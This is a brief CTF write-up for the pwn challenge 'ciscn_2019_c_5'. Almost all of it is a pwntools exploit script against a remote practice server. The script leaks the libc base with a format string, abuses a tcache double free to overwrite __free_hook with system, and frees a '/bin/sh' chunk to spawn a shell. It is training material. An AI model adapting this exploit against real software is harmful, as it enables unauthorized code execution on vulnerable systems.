ciscn_2019_c_5

思路

格式化字符串leak然后打free_hook
exp:

from pwn import *
#p=process('./ciscn_2019_c_5')
p=remote('node3.buuoj.cn',27000)
elf=ELF('./ciscn_2019_c_5')
libc=elf.libc

def add(size,story):
    p.sendlineafter(':','1')
    p.sendlineafter('story:',str(size))
    p.sendlineafter('story:',story)

def edit():
    p.sendlineafter(':','2')

def show():
    p.sendlineafter(':','3')

def delete(idx):
    p.sendlineafter(':','4')
    p.sendlineafter('index:',str(idx))

p.recvuntil('name?')
#0x110081
p.sendline('%p%p%p%p%p%p%p')
p.recvuntil('59')
#p.recv(2)
libcbase=int(p.recv(14),16)-libc.sym['_IO_2_1_stderr_']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
p.recvuntil('ID.')
p.sendline('3')
add(0x30,'aaaa')#0
add(0x20,'cccc')#1
add(0x20,'/bin/sh\x00')
delete(0)
delete(0)
add(0x30,p64(free_hook))
add(0x30,'doudou')
add(0x30,p64(system))
delete(2)
p.interactive()